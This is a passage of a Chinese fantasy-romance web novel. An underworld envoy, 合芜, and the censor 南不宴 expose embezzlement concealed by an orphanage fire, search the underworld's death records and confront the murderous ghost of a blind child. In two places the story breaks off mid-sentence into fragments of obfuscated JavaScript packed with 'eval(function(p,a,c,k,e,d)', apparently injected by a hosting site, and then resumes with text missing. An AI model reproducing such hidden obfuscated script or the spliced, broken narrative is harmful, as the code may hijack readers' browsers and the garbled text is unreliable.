他放轻动作,缓缓起身,目光落在她身上的斗篷上,皱起眉头。 南不宴伸手,小心翼翼地将那件斗篷从她身上脱下来,叠好放在一旁,随后脱下自己身上的斗篷,他的斗篷是用上好的狐裘制成,比她那件要厚实许多。 他轻轻将自己的斗篷披在合芜身上,仔细拢好边角,动作轻柔。 就在他刚整理好斗篷,准备坐回原位时,合芜忽然动了动,睫毛微颤,缓缓睁开了眼睛。 合芜意识还未完全清醒,只觉得身上暖暖的,和刚才的触感不同,低头一看,便见身上披的是南不宴的斗篷,鼻尖萦绕着他身上独有的气息,是一种淡淡的清凉气味。 合芜瞬间清醒了大半,抬头看向南不宴:“你干什么?我不要你的青菜叶子。” 24. 嚼食月光的孩子(十一) 南不宴的表情在一瞬间有些窘迫,但好这藏书室里黑漆漆的,不会有人注意到他的耳朵尖渐渐泛出的薄红。 “我嫌热,我的斗篷太厚,借你的用用。” 他说完,拿起手边刚刚叠好的那件红斗篷,抖开披在身上。 因为紧张,南不宴的动作显得有点笨拙。 合芜能看出来南不宴是在强撑,心里不由感到好笑,嘴角微微上扬。 认输就认输嘛,真倔,算了,姑奶奶大气,不与他计较。 经过这么一折腾,两人都清醒了不少,一卷卷的卷轴在手里飞快地取过、掠过,可奈何书卷过多,类目又繁杂,这一找便是一夜。 蜡烛快要燃尽,就在第一声鸡鸣前。 “找到了!”南不宴轻声道。 合芜立马停下翻阅,凑到南不宴身边坐下:“哪儿呢?” 南不宴指着手中卷轴一处不起眼的角落。 “永安二年……原济婴镇济婴堂遇大火……房屋损毁无修缮可能,遂迁今新址……损坏布匹一百余匹,余粮四百石有余……另,只一女娃未逃出,其余人等皆平安……” 合芜毕竟不是人,她能看懂这些卷轴的意思,但是并不能真正明白其后的意义。 听南不宴念完,合芜注视着他问道:“这个卷轴上记录的损失算多还是算少呀?” 只见南不宴想都不用想,直接道:“多,太多了。” “多?” “只是一个济婴堂,三年前就算收养再多孤儿都不会超过三四十,余粮四百石,够他们吃上三年多,这济婴堂再大,在哪里能存放这么多的粮食,还有那布匹,就算要存也是存成布银,哪里会成匹成匹地存在屋子里。” “你的意思是,这些记录都是假的?”合芜闻言睁大眼睛,想到了什么,哆嗦一下,偷改地府的文籍可是要受罚的,那惩罚可比再死一次都难捱,那这人界偷改镇志的事肯定也不是小事。 南不宴点头:“也真是难为让他们想到了这个法子,一把大火正好将证据烧了个干净,定是朝廷播下来的钱粮被贪,让济婴堂的大火填补了这个空缺,如此一来,还能再向上捞一笔修缮费。”南不宴冷笑着,“既平帐又捞油水,取名济婴镇却还偏偏让手无寸铁的孩童来承担这一切,不把人命当命,当真是荒唐!” 合芜见南不宴的表情严肃,也能料到这件事情的严重程度,但是人界之事她不能管,也不知道怎么管。 “所以现在我们该做什么?” 南不宴道:“现在就将曹巡抚控制住,将这件事情一五一十地审问清楚,即使这件事已经过去了三年,也要将施害之人绳之以法。” 那还等什么,天已经快要亮了,趁着现在夜黑风高,抓人更方便啊,合芜想。 她起身往来时的窗边走,南不宴突然叫住了她。 “合芜,你为何突然来这藏书室,是冯原同你说的?” 合芜转身看着南不宴,哦对,她差点把这件事给忘了:“是我们前几日在曹府遇到的那个聋哑阿婆,我今晚本在池塘边待着,她突然找上我,一个劲地指着藏书室的位置,我想她应是想告诉我,这里有我想要的线索,你们人界有个什么说法来着,死马当活马医嘛,我就来这碰碰运气,没想到就遇上你了。” 合芜见南不宴沉思,随后便听他道:“那人应是知道一些真相才被至聋至哑,说不定是个重要的证人。” “那还等什么?赶紧去把他们都抓起来啊!”合芜急哄哄道,说着已经冲到来时的那扇窗子前,准备翻窗出去。 “合芜。” “嗯?” “你就不怕当时那个老阿婆是和曹巡抚一伙的,让你到这屋子是为了抓你,你就那么信她?”南不宴没头没脑来了这么一句。 合芜闻言愣住,不知道他为什么突然问这个问题:“那阿婆看着挺和善的,我没想那么多……你是觉得她在骗我?” 南不宴见她这不设防的模样,合芜是从地府来的,见过无数的生死轮回,却还是这般天真,这并不见得是件好事。 “没有……只是,不是所有人都可以相信,人心难测,你以后多防备着些,对你没有坏处。”南不宴垂下眼眸。 “人心难测?”合芜重复,“那你呢?我也要防着你吗?” 合芜站在窗边看着南不宴。 只见南不宴伸手拂灭最后的一缕烛光,整个屋子彻底暗下来,窗外微弱的晨光透过窗纸照进屋内,淡淡地勾勒出他周身的轮廓,像是隐匿在黑暗中如影随形的影子,可近可远,时有时无。 他声音淡淡的:“在我们的交易结束之前,你可以信我。” * 巡检司的审堂里,曹巡抚以及一众在巡检司里有要职的人皆已经被控制起来。 南不宴审视着众人,冯原站在合芜身边一脸惊讶。 “这是怎么一回事?不宴怎么把这些人都捆起来了?” 在冯原看来,昨日这两人还咋咋唬唬地相互看不惯,怎么今日他一大早来就又看到他们站在一处了?昨晚他俩到底干啥去了,又不带他,真不仗义。 合芜轻叹口气,咬着牙几乎不张嘴:“我们昨夜查到三年前济婴堂的火灾是为了平帐,数额还不少。” “哦呦呦呦。”冯原闻言一拍手惊呼,“那还得了,不宴最痛恨这种在背地里搞小动作的人,啧啧,这曹巡抚,惨喽。” 他故意把后半句话说的响亮,不出所料,曹巡抚直接吓得抖成了筛糠。 “说说。”南不宴如寒冰的视线冷冷地注视着曹巡抚,将带来的那卷卷轴“刷”的一下打开,展开在众人面前。 从第一天合芜就知道这曹巡抚胆子小,不是个有主见的,眼高手低还势力,但是她没想到一个墙头草可以倒得这般快。 只见曹巡手脚并用地爬到审堂中间,一下一下磕着头,声音都打了岔:“大人明鉴!大人明鉴啊!这不是我的主意!” “哦?那是谁的?”南不宴道。 曹巡抚见有机会解释,想往前再爬点,被风影用手中的配剑拦住。 锋利的剑刃横在眼前,曹巡抚也不敢再耍机灵:“是,是一个蒙着面的人,小的五年前领了这济婴镇的巡抚一职,小的糊涂啊,贪得无厌,三年前小的发现济婴镇的窟窿越来越大,大到已经堵不住了,小的急得焦头烂额,就是在那一晚,有一个蒙着面的人,他那晚突然出现在府中,给出了这个主意!” “呵。”冯原将手中摇着的折扇合拢,直指向曹巡抚,不屑道,“随随便便编一个不存在的蒙面人就想蒙混过关?” 曹巡抚惊慌道:“小的没有说谎啊,那真的是一个蒙面人,他来无影去无踪,告知完小的这招偷梁换柱就像是人间蒸发似的消失了!对!对对对!那日镇子上的孟医师也在,他可以给我做证!” 风影像是想到了什么重要的事情,看向南不宴:“侯爷,那岂不是……” 南不宴的表情波动一瞬,没想到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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合芜咳嗽掩饰尴尬。 合芜:低调,低调。 合芜挪到南不宴身边悄声道:“难怪他那日看到我吓成那个样子,原来是真的怕一个化成鬼的小女娃。” “你觉得他说的话有几分真。” “不知道,我在济婴镇没有察觉到鬼魂的气息,还有那几个死者的魂魄我也没找到,要将这件事情查清楚的话,我得回一趟地府。”合芜看着南不宴,那眼神眨巴眨巴的。 南不宴犹豫了:“一定要回去?” 合芜点头:“嗯。” “要多久。” “难说,一日有可能,十日也有可能,我会尽量快些的。”合芜保证。 突然,外头传来跌跌撞撞的脚步声,一个弓兵吓得脸色惨白,冲进了审堂:“不好了!昨晚又有人遇害了!” 合芜深吸一口气,与南不宴对视一眼。 凶手又动手了,这也证明了凶手并不是阿福。若是再不查清楚,恐会有更多人遇害。 事不宜迟。 * 合芜待到子时,周遭无人之际。 指尖捻诀,周身泛起淡淡的幽蓝鬼气,残风将人界的景致瞬间撕碎,合芜周围逐渐取而代的,是地府那熟悉得不能再熟悉的风光。 合芜脚尖一点,身形轻轻落在忘川彼岸,许久没有回来都有点生疏了,刚落地就被岸边的石头绊了一趔趄。 这熟悉的气息啊,真是沁人心脾! 合芜站稳:“可算回来咯,这人界待得我浑身不自在,还是地府的风舒坦!” 她拍了拍衣裙上的尘土,眉眼弯弯,指尖随意拨弄了一下鬓边垂落的发丝,哎呀,这在人界不能大展身手,回来可要让她疏通疏通筋骨。 小地府,姑奶奶我回来啦! 25. 嚼食月光的孩子(十二) 这次回来,因为鬼节将至,这鬼市子明显又比合芜离开之前亮堂热闹了许多。 走之前还仅仅是在街市上挂上了一排灯笼,现在连奈何桥上都缠上了五颜六色的锦缎,随之搭配,缠绕着锦缎的是弯曲生长的幽冥草,通体泛着淡淡荧白,看起来极像是合芜在人界看到过的萤火虫会发出来的光亮。 合芜抬眼望去,奈何桥横在雾里,今日忘川的水面还算平静,没有起什么波澜,桥尽头孟姨的汤炉还在冒着股股白气。 彼岸花也开得如火如荼,红得灼眼,看来彼岸娘子最近研制的花肥效果不错啊。 合芜站在奈何桥上,身边一个个鬼差飞速掠过,有的身后一连串带着几个刚下地府准备去喝孟婆汤的魂魄,有的则是端着一垒生死簿横冲直撞,撞倒旁边一大堆魂魄阴差也不管,这些抱着生死簿的大多是从阎王殿里出来的,官职比较大,性格也古板怪异。 合芜怀疑是因为书看多了才会变成这样,还是不要多招惹这些阎王殿里的阴差为好,还记得上次她没忍住招惹了一个,换来的是那阴差整整三日在耳边喋喋不休的念叨。 也就只有临近这鬼节时段,这些鬼差才会这般勤奋,平日里真算是“死气沉沉”。 地府和人界不一样,工作量就在那里,你多干,休息的时间就多,但是人界不是,多做多干,越多做越多干,合芜对地府的这项“人性化”还是很满意的。 只是不要真的“人性化”就行,要是跟人界那样,还得了! “哟,这不是合芜吗?可算舍得回来了。” 是守在鬼门关的牛头马面。 牛头马面见了合芜,语气里带着几分熟稔的打趣:“前些日子阎王还提起说你去人间干活还不回来,怕是在人界快活,要把地府的大家伙儿都忘干净了吧。” 合芜眉眼一弯,她抬手拍了拍牛头马面的肩:“今天你们轮值啊?哪里快活了,这人界的差事可比你们的活累多了。这不?我还得回来去轮回殿查点东西。” 合芜突然想到什么:“哎,你们知道枉死魂的名录去哪里查吗?” 牛头爽快道:“枉死魂的名录可不在轮回殿,你得去卷宗阁。” “卷宗阁?那是什么地方?”合芜第一次听到这个名字。 “就是生死殿。”马面应和道,“前几日阎王把生死殿的名字改成卷宗阁哩,说是原先的名字太俗,要向上和神界看齐,多取一些高大上的称呼。” “我看就是表面功夫,还不如生死殿听来实用直白。”牛头道。 合芜无语到面部肌肉都在抽搐,看来她不在地府捣乱,这阎王老子可真是闲着没事干。 合芜拜别牛头马面,熟门熟路地往卷宗阁走,裙摆扫过地上的青砖,脚步轻快得没个正形,沿途碰见的阴司鬼差见了她,要么笑着避让,要么无奈摇头,谁都知道,这位可是连阎王都拿她没办法的。 一路畅通无阻,还是地府自在。 “合芜?合芜!” 合芜刚穿过鬼市子,就听到有人喊她,回头一看,一个穿着红色长衫的女子提着个篮子向她跑过来。 等来人跑至眼前,合芜惊喜道:“小红?” 戏痴红跑到合芜身边,气喘吁吁地撑着腰,高兴道:“合芜你终于回来了,我可想死你了!你都不知道你不在的时候那家伙是怎么威胁我的,怎么样,你任务完成了吧!” 合芜想到自己还望不到头的任务,撇撇嘴,遗憾摇头:“哪有这么容易,这才刚刚开始,我今日回来是找线索的,找到之后还得回去。” “这样啊。”戏痴红遗憾道。 合芜歪头看她:“你方才说谁威胁你呀,有人欺负你?告诉我我帮你去揍他!” “哎别别别。”戏痴红连忙道,摁住合芜蠢蠢欲动的拳头,这人她小红可得罪不起,她总不能告诉合芜,栖桐上神三天两头来给合芜送花,还威胁她不能搞乱合芜屋子的事情吧,要是被上神知道了她说小话,自己不就完了。 “也不是什么大事,哎对了你说你今日回来找线索,怎么样,找到了吗?”戏痴红从篮子里掏出一块糕点塞进合芜嘴里,岔开话题。 合芜嚼着口中糕点,将嘴塞得满满的,鼓着腮帮子活像一只小鼠,嘟囔道:“还没呢,正去找的路上呢。” “那我帮你!” 戏痴红踊跃,合芜不在的日子里可真是太无聊了,她也没事干,正好可以帮忙。 合芜想了想,又吃下几块糕点,点点头。 也行,一起找还能快些。 合芜带着戏痴红进了阎王殿,卷宗阁也就是生死殿的位置就在阎王殿的正后方,要想去卷宗阁就必须得先经过阎王殿。 合芜二人穿过一扇扇紧闭的大门,全程戏痴红都在惊叹,要是合芜不带她到这里来,她估计两辈子都不会看到这样华丽的殿宇。 阎王殿虽说在地府,但毕竟是鬼神殿宇,还是很恢宏的。 爬上冥雾缭绕的长阶,玄黑寒石铺就的鬼道直通殿宇,走在其上步步生寒。 阎王殿矗立于地府九重云霄之下,殿身以万年玄冰岩铸就,泛着幽光,飞檐翘角悬着引魂灯,灯尾系着铜铃,风吹铃响,黄泉路广。 殿门门楣之上悬着一块黑金匾额,上书“阎罗大殿”四字,笔锋凌厉如刀,自带睥睨三界的霸气。 睥睨三界这种话是阎王老子在喝醉酒的时候偷偷告诉合芜的。 踏入殿内,穹顶极高,抬头可直见漫天星斗,流转着淡淡的银辉,照亮整座大殿。 今日此时,阎王不在大殿之中。 合芜:看来又在躲懒。 合芜带着戏痴红继续往里头走,此番回来,是要查关于阿月魂魄的卷宗,按规矩得先禀明阎王,正好多日未见,合芜想着,去见见阎王老子,也好顺道讨个方便。 森罗殿外静悄悄的,守殿的鬼差都被遣去了别处,殿门虚掩着,漏出一丝昏黄的烛火,隐约有交谈声从里头飘出来,压低了嗓音。 合芜脚步顿住,好奇心作祟,朝小红做了个噤声的手势,悄悄凑到门边,指尖轻轻拨开一丝门缝,想先听听里头在说什么。 只听李头传来阎王的声音,声音还带着几分沉郁,不似平日里的滑稽散漫。 “这事情也不知道什么时候是个头,之前的那些都是铺垫,这最后的任务才是重中之重,哎,只希望一切顺利……” 里头安静了一会儿,一个合芜从来没有听到过的女声响起,那声音干净脆亮,透着几分清冷:“那孩子执念太深,你务必盯紧了,三年之期快到头了,时间不多,也不知道我们这么做对不对……” “做都做了,也没有回头路,一切都是命运的安排,我们也只能尽力为她排除些困难……话说栖桐上神老是来这找她,你们神界都不管的吗?”阎王道。 嗯?合芜听到了栖桐的名字,这件事情还和栖桐有关? 那道女声无奈道:“栖桐上神身份尊贵,如今又是散仙,若说三千年前他尚在神界有职位,还能约束他一二,可那场大战之后他自请为散仙,只要他不做伤天害理、十恶不赦之事,这天下当是没有人能够管住他。” 那人停顿片刻,又道:“不管怎么样,这命簿上显示的不会有假,大劫将近,唯有此女,方可破局。” 大劫将近?这又是什么东西?合芜怀疑自己听错或是听漏了什么,往门缝处扒近了些。 只听阎王叹了口气:“就算有此女,也不一定能破此劫难。” 话音未落,只听“咔嗒”一声轻响,在寂静的地府里格外清晰。 殿内的交谈声戛然而止。 合芜回头找这声音的来源,就见戏痴红在她身后一脸做错事的模样,手中还拽着自己长衫的裙摆。 她小幅度地朝合芜摆手,懊恼轻声道:“这衣衫太长,我,我踩到衣摆不小心绊了一下。” 合芜本就没打算怪她,偷听是她想干的事,但还是心里暗道不好,刚想和小红一同退开,就听殿内阎王扬声开口,语气已没了方才的凝重,反倒带着几分打马虎眼的随意。 “何人在外?既来了,怎不进来?” 见已经被发现,合芜索性不再躲藏,抬手推开殿门,迈着轻快的步子走进去,脸上挂着惯常的俏皮笑意,拱手行礼:“阎王老——不是,阎王大人,我回来去卷宗阁查个名录,路过这儿,本想进来跟您打个招呼呢。” 戏痴红缩头缩脑,小心翼翼地跟着合芜,伸手轻轻拽着合芜的斗篷,就怕自己和她分开。 合芜说完,抬眼张望,想看看刚才和阎王老子对话的人是谁。 只见殿内只有阎王一人,方才说话的另一人早已没了踪影,只剩阎王端坐在案后,手里把玩着一枚玉印,脸上堆着客套的笑意:“哦?你要查谁的卷宗?尽管去卷宗阁取便是,若是遇上难处,尽管吩咐。” 合芜抬眼瞧着他,心里却犯嘀咕,这人怎么说没就没了。 她虽好奇,却也没追问,只笑着应下:“多谢阎王大人,我查完便回凡间,不耽误您处理公务。” 阎王笑着摆手,眼底却掠过一丝不易察觉的深意,依旧打着圆场:“去吧去吧,凡间事多,万事小心。” * 辞别阎王后,合芜带着小红径直踏入阎王殿之后的卷宗阁。 阁内终年弥漫着淡淡的墨香与陈旧纸张的气息。 合芜:查起! 她看着书架上的名录名称,绕过前几排,直奔最内侧的枉死名录。 牛头马面说的对,找阿月这种枉死魂可不能去轮回殿找。 枉死魂的怨气几乎是所有魂魄里最重的,因为死得不明不白,一般都心存怨恨,不愿意轮回转世,自然就不会出现在轮回殿里。 阿月死于非命,魂魄未入轮回,定然归在生死殿此处。 “小红,在这一排里找,找一个叫阿月的女孩,三年前就出现的名字,不管有没有重名的,只要是叫这个名字的都先找出来。”合芜道。 戏痴红点头,两人开始手脚麻利地翻找起来。 天地轮回,生死无常,就在两人找名字的时候,这卷宗阁里的书架名录无一不是一闪一闪的,有的名字新添进来,有的魂魄投胎转世,消失在名录上。 合芜她目光快速扫过,专挑三年前的名录翻看。 她抱了一大堆,坐到椅子上看了起来。 正看着,合芜感觉到小红悄悄地凑过来,一副有话想说的样子。 “怎么了?” 戏痴红伸手轻轻碰了碰合芜身上的那件墨绿色斗篷,眼底满是惊艳:“合芜,你这件斗篷也太好看了吧!以前从没见你穿过,这料子摸起来好软,纹样也精致,是人界最新的样式吗?” 戏痴红生前是戏子,外貌唱技是她们最重要的也是最引以为傲的东西,她对这种好看的衣裳根本就没有抵抗力,方才一路走来还没有注意到,如今坐下了,在卷宗阁闪闪的光亮下,那斗篷上绣的暗纹反着锦缎独有的光泽。 她指尖捻着一缕斗篷垂落的系带,啧啧赞叹:“这配色也绝,衬得你气色都亮了,脖颈儿一圈的毛摸起来也软绒绒的,就是这尺寸你好像买大了,再小一些就更好了。快说快说,哪儿寻来的宝贝?能给我也带一件吗?” 合芜闻言道:“不是我的,是人界那位都堂大人的,昨日查案时他嫌自己的斗篷热,看我的薄一些,才和我换的。” 她说得云淡风轻,仿佛只是交换了一件寻常之物,丝毫没察觉这话里的暧昧。 戏痴红先是一愣,随即眼睛瞪得溜圆,挽着她的手猛地收紧,压低声音凑到她耳边,语气里满是八卦的兴奋:“都堂大人?!就是你的那个任务对象?!” 合芜点点头,伸手抽出下一本泛黄的名录,摊开在石案上:“嗯,就是他,当朝左都御史南不宴,有权有势,听说他之前还是个将军,有侯位,我们现在在一个叫做济婴镇的地方,那镇子上的巡抚见了他都恭恭敬敬的。” 戏痴红一拍脑袋想到了什么:“我说当初看到南不宴这个名字为什么觉得眼熟,他就是南都堂!” “你认识他?” “何止是认识,你是不知道,专门有戏班子唱关于他的故事,听说他还是京州贵女们选婿毋庸置疑的第一人选。” 戏痴红彻底来了兴致,也顾不上帮着找卷宗了,趴在石案上,下巴抵着交叠的双手,眼巴巴盯着合芜,一副吃瓜的模样:“快跟我说说!你在人界这些日子都经历了什么?他对你好不好?你这任务做得顺不顺呀?” 合芜一边用指尖凝起灵力,拂过纸页查找济婴镇的条目,一边慢悠悠开口,语气懵懵懂懂,全是直白的陈述:“就一起查案子呗,镇子上闹鬼,起了连环命案,死了五个人,现在更多了,都是被剖了心的,诡异得很。” “哎呀谁问你这个了,那南不宴怎么样啊?”戏痴红看着合芜。 “他?他看着挺高冷的,整天板着脸,说话也硬邦邦的,之前还总说我胡闹,不安分。” “啊?高冷啊?那是不是很难相处?”戏痴红皱了皱眉,随即又眼睛发亮,“那然后呢?他除了凶你,还做什么了?你这件斗篷可是他给的,总不能平白无故给你吧!” “我知道的,他就是嘴硬心软。”合芜的指尖停在一页名录上,依旧分神回应小红的问话,“之前去一个小院子里查线索,我的手指被木刺划伤了,他还紧张得不行,问我有没有事,给我涂药,我刚看他顺眼没多久,他就又说我笨。” 她顿了顿,继续回忆道:“我们查镇志的时候,那个藏书室里挺冷,他说我的红色斗篷像红尖椒,我就骂他的斗篷像青菜叶,之后我睡着了他把这件斗篷披在我身上,悄悄跟我换的,你看,我就说这斗篷像青菜叶子吧,我点破之后他自己都不想要了。” 合芜说得直白,全然没觉得这些举动有什么特别,只当是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下方还附着一行批注,字迹潦草,像是仓促补上:怨气缠心,执念深重,滞留凡间,暂未捉拿,常徘徊济婴堂旧址。 合芜眼底闪过一丝了然。 果然如她所料,阿月的魂魄根本没有入地府归档,一直滞留在济婴镇,那连环命案的真凶,定然就是这个执念未消的盲眼小女娃。 可是,为什么她察觉不到这个阿月的魂魄,还有那几个受害者的魂魄又是怎么回事? 合芜轻轻将那本卷宗放到一边,一条崭新的纸条从卷宗里掉落出来,飘落在地上。 “这是?” 合芜弯下腰捡起纸条。 上头字迹纤细:枉死魂若不知自己身死,无法召唤,所害之人也会被禁锢,无法召唤不入轮回。 “谁写的?”合芜抬头,可是身边只有一个仍在自顾自说着话的小红。 是谁解答了她的疑问? 何方神圣? “怎么了,找到了?”戏痴红问道。 “对,那我先回去了!”合芜喜悦地站起身。 戏痴红挑眉:“这么急,不多待几日?” “南不宴还在等我回去呢。”说着,合芜将拿出来的卷宗收拾在一起,准备摆回去。 戏痴红见她这般,轻叹口气,傻合芜,算了,总有一日她会懂的。 “算了算了,跟你说不通,你这天然呆的样子,反倒把那高冷小侯爷拿捏得死死的。等你哪天开窍了,就知道我现在说的是什么意思了,到时候可别忘了请我吃糖!” 戏痴红也站起身,绕到案前,从合芜手里接过那堆卷宗,对她摆摆手:“既然赶时间就快去吧,这些我来收拾。” 合芜笑着应下,脚步轻快地往外走:“知道啦,等任务完成,我从凡间带最好吃的点心给你。” 小红看着她匆匆离去的背影,笑着摇头低语:“这哪里是查线索,分明是急着见心上人嘛,什么点心,我要的可是喜糖。” * 合芜踩着浓稠的夜色,重新回到了济婴镇。 现在已是后半夜,整个济婴镇彻底陷入死寂。 不过合芜此次的目的地不在济婴镇内,她缓步走向济婴堂旧址。 济婴堂旧址在济婴镇外,等到合芜走近,借着月色,她能看到那火烧后的断壁残垣在夜里狰狞的轮廓,即使过了三年,也还能隐约看见一些烧焦的木梁斜斜插在泥地里,另一头戳向夜空,遍地的瓦砾间长满了荒草,夜风掠过,草叶沙沙抖动着。 月光被云层遮去大半,原先就不怎么亮堂的废墟更加昏黑,只有零星的碎瓦反射着月色的冷光。 合芜刚拨开半人高的荒草,脚步还未站稳,一阵极轻、极柔的声音,突然从废墟深处飘了过来。 不是风声,也不是异响,是个小女孩的嗓音,轻软又空灵,还有几分怯生生的沙哑,正轻轻地哼着不成调的歌曲。 那歌声断断续续地,飘荡在黑夜里,像缕飘不散的烟,缠绕在毁损的梁柱间。 “月儿圆,风儿轻,阿婆唤我把家回……真心藏,在心里,日日夜夜永平安……” 合芜放轻脚步,缓步走近,鞋底不可避免地碾过碎瓦,发出极轻的声响。 断墙后的阴影里,一道小小的身影轮廓愈发清晰。 是一个八岁模样的孩童,穿着被火燎得焦边的粗布小衣,眼上蒙着白布,苍白的小手攥着半块烧焦的布片,还有一些烧焦的,勉强还可以看出样式的玩具,她的周身萦绕着淡得近乎透明的幽光,孤零零地站在枯草堆里,还在断断续续哼着那首儿歌。 若没有那些淡淡的幽光,她看起来真的和活人无异。 合芜没有刻意隐匿气息,脚步声刚落,那道小身影顿了顿,口中的哼唱声戛然而止。 下一秒,阿月缓缓转过身,对着合芜的方向,小眉头轻轻皱起,带着孩童可爱与茫然,开口时声音软软的,却带着一丝急切。 “姐姐,你有没有看见我的生辰礼物?” 合芜站定在原地,不知道该怎么回答,于是试探着轻轻道:“我没看见,你要找的是什么礼物?” 话音刚落,只见阿月周身的气场骤然收紧,原本温顺的气息瞬间变得躁乱起来。 她歪着头,往前走了几步,没得到想要的答案,她的小嘴嘴角往下一撇,原本清澈的童声里多了几分委屈:“阿婆说,礼物是真心,是藏在心里的……你骗人,你肯定看见了,你不肯给我。” 她的小手猛地攥紧,合芜感觉到了周围的气流在涌动,这就是冤魂的力量吗?她还仅仅是个小孩子啊。 盲眼的孩童虽看不见面前的世界,但如今已成魂魄,便能精准锁定合芜的方位。 “姐姐不肯给我,那我就自己找!把心交出来,我的生辰礼物,就在里面!” 话音未落,阿月小小的身影突然朝前扑出,动作虽笨拙,合芜却能感受到其中的凶狠力道。 糟了。 26. 嚼食月光的孩子(十三) 轻敌了。 阿月年纪小,心智也不成熟,原本碰到这种幼童魂魄放在平日里都是最好解决的,给上一颗糖,哄上几句好听的话,合芜就能将人乖乖带回去。 但阿月偏偏是一个枉死魂,不知自己已经身死,身上还背负着人命,这样的魂魄打起架来往往是最拿捏不住轻重的。 呲啦一声。 合芜闪身堪堪躲过阿月突如其来的攻击,借着月色躲进了毁坏房屋的阴影里。 “姐姐,你在哪里?”阿月轻声唤道。 合芜从断柱的缝隙间往外头看去,观察着阿月。 阿月徘徊在月光下的草坪上,左右张望,找寻着合芜的踪影。 虽然阿月可以通过周遭气息流动感知到合芜的动向,但是眼睛终归是看不见,只要合芜躲闪得够快,她还是需要一定的反应时间。 合芜屏息凝视,想找到阿月的弱点。 阿月左右踱步,身侧的戾气弱了下来,她抬起自己的小手,合芜亲眼看见她手上长长的指甲缓慢收了回去。 如果没有猜错,那指甲就是杀人的凶器,果然如陈仵作一开始所说,质地偏软却锋利。 “姐姐的衣服被阿月的指甲划破了,要跟姐姐道歉。”阿月低着头嘀咕,一脸犯错后悔的模样。 合芜闻言垂眸看了眼自己的手臂,右手肩膀处斗篷的布料果真被划开了一道口子,墨绿色的布料里跑出了雪白的棉花。 合芜捂住斗篷的裂口,若是穿着这一身出去,难免不方便行动,她将斗篷脱下,好好放在断墙的墙根处,有这斗篷挡着,她里面的衣裳完好无损。 “呼,这青菜叶子还算有点用。” 合芜悄悄跳跃到一根斜插在泥地里的横梁上,从高处往下看,这个视角可以将整片济婴堂旧址的废墟看得一清二楚。 合芜看见阿月在空地上站了一会儿,随后有些局促地往一条小路走,绕到了一开始她站着的那棵早已烧得只剩木桩子的枯树旁。 阿月坐在枯草团成的坐垫上,那坐垫不像是她自己拿枯草编成的,做工精致,根根枯草串串相连,没有杂头冒出,看起来细腻柔软,且那坐垫看起来很新,也不会是火场中遗留下的东西。 不仅是那个坐垫,阿月的头发歪歪扭扭的编成麻花瓣放在身后,那发梢尾部的头绳颜色鲜艳,红彤彤的,看着很突兀,也不像是火场里留下的。 “阿哥好久没有来看阿月了,阿月好想阿哥……” 阿哥?合芜听见阿月轻声念叨的声音,这个阿哥……应该就是阿福,难不成阿福一直有在偷偷来见阿月,那这个枯草坐垫和头绳就是阿福送来的。 还是没有说实话啊。 济婴堂旧址的房子遭到过烈火的炙烤,本就是木头,烧过之后稳定性更差,即使合芜很轻,她脚下的横梁还是承受不住这突如其来的重量,开始细碎的破裂。 合芜一个没注意,咔擦一声,脚下的木头断裂,她脚一崴掉下去,重重摔在地上。 “哎呦。”合芜哀嚎一声。 这摔落的地点好巧不巧,就在那枯草丛边。 “姐姐?”阿月听见动静回头。 合芜认命般的闭眼,真是醉了。 “小阿月,你好呀。”合芜一个激灵坐起身,笑容满面。 阿月起身跑过来:“姐姐认识阿月?” 小女孩的脸上是抑制不住的欣喜。 嗯?她竟然没有直接杀过来?看来和谈有戏。 合芜趁热打铁道:“是呀,我还认识你阿哥,他叫阿福对吧?” “是!”阿月点头,“可是他已经好久没有来看阿月了,姐姐知道阿哥在哪里?” 这该怎么说,要是说她把她阿哥关起来了,那这小女娃还会给她留全尸吗? “这个嘛……”合芜想着说辞,突然灵光一闪,“你先回答姐姐一个问题,回答了姐姐就告诉你。” 阿月乖巧应到。 合芜看在阿月尚是孩童的份上,斟酌了一下说辞,想着委婉些。 “小阿月,镇子里的那些人都是你杀的吗?” 咳咳,好像也不是很委婉。 阿月闻言点头,脸上没有半分胆怯之色,好像了结那些人的性命就像是一场游戏一样简单,仅此而已。 “你为何杀他们?” “阿月认识他们,他们以前都去过济婴堂,他们一定也认识阿婆,阿婆说了要给阿月生辰礼物。”合芜从阿月脸上看到了一丝难过。 “但是阿婆没有来找阿月,姐姐,生辰那日火好大,阿月跑不出去。” 合芜边听她说,边看着她身上烧焦的衣裳,那日大火,她肯定很疼吧。 “阿婆没有来,但是阿月找到他们了,他们一定知道我的生辰礼物在哪。阿婆说过,最好的礼物是需要用真心来准备的,所以我的生辰礼物肯定就在他们的心里。”阿月说得言之凿凿。 合芜算是听明白了,是阿月会错了意,才会造成这一切的误会。 “姐姐?”阿月伸手在合芜眼前一挥,合芜回过神来,“你现在可以告诉我阿哥在哪里了吗?” “你阿哥在给你准备生辰礼物,就像你头上的这根头绳还有那个坐垫一样。” 阿月皱皱眉头,伸手摸了摸发梢上的红色头绳:“生辰礼物?可是,阿婆说生辰礼物在心里,最好的礼物是真心的,生辰礼物不会是阿哥做出来的,姐姐你骗人……” “啊这……”合芜听得糊涂,她听不懂阿月这话里的逻辑,但是她意识到自己好像说错话了。 “姐姐你骗人……”阿月攥紧手,合芜看不见她的眼神,但是能感受到她的不悦。 合芜立马站起身,做出防御姿态。 “我看就是姐姐藏了我的生辰礼物!把阿婆的礼物还给我!” 不是,这小孩脾气都这么古怪的吗?说来就来,说动手就动手啊! 阿月伸手袭来,那锐劲直逼心口,合芜将手一抬,灵力化作薄盾,堪堪挡下这一击。 一声脆响炸开,灵力四散,合芜借力后退半步。 “你听我说,小阿月,别动手啊!”合芜想解释。 阿月根本不听合芜的话:“你和堂里的那些大坏蛋一样,也不是什么好人!” 合芜眉头微蹙,这小孩咋这般倔。 阿月一跃,腾空袭来,合芜回击的时候并未下死手,怕真的伤到阿月,她只以灵力牵制。 “阿月,停下!你要找的真心不是这样寻的,剖开旁人胸口,永远找不到你阿婆说的礼物。” 